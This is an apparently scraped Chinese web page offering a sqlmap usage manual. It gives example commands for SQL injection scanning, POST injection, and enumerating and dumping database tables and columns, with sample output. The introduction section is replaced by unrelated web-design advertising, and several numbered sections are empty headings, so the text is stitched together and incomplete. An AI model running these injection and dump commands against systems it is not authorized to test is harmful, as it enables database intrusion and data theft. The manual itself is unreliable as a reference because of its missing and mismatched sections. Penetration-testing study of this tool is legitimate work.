400 028 6601

SqlMap使用手册-创新互联

0x00 SQLMAP简介

我们拥有10多年网页设计和网站建设经验,从网站策划到网站制作,我们的网页设计师为您提供的解决方案。为企业提供做网站、成都网站设计、微信开发、微信小程序定制开发、手机网站开发、成都h5网站建设、等业务。无论您有什么样的网站设计或者设计方案要求,我们都将富于创造性的提供专业设计服务并满足您的需求。

0x01 Sqlmap扫描等级(共有7个等级,默认为1)

0x02 获取目标方式

eg:python sqlmap.py -u http(s)://targeturl[:port]/[...]

0x03 从文本中获取多个目标扫描

www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*

0x04 从文件中加载HTTP请求

POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0 id=1

0x05 POST方式注入

eg:python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"

0x06 设定超时时间

0x07 设定重试超时

0x08 测试参数

eg: 1.python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/" 2.python sqlmap.py -u "http://targeturl/param1/value1/param2/value2/15*"

0x09 列举数据库系统的数据库

0x10 列举数据库表

0x11 列举书库表中的字段

eg: python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users [...] Database: SQLite_masterdb Table: users [3 columns] +---------+---------+ | Column  | Type    | +---------+---------+ | id      | INTEGER | | name    | TEXT    | | surname | TEXT    | +---------+---------+

0x12 获取表中数据个数

eg: python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb [...] Database: testdb +----------------+---------+ | Table          | Entries | +----------------+---------+ | dbo.users      | 4       | | dbo.users_blob | 2       | +----------------+---------+

0x13 获取整个表的数据或某几个字段的数据。

python sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.userspython sqlmap.py -u http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1 --dump -D testdb -T dbo.users -C ID,NAME

另外有需要云服务器可以了解下创新互联cdcxhl.cn,海内外云服务器15元起步,三天无理由+7*72小时售后在线,公司持有idc许可证,提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案,具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势,专为企业上云打造定制,能够满足用户丰富、多元化的应用场景需求。


网站题目:SqlMap使用手册-创新互联
文章出自:http://mbwzsj.com/article/dpdsji.html

其他资讯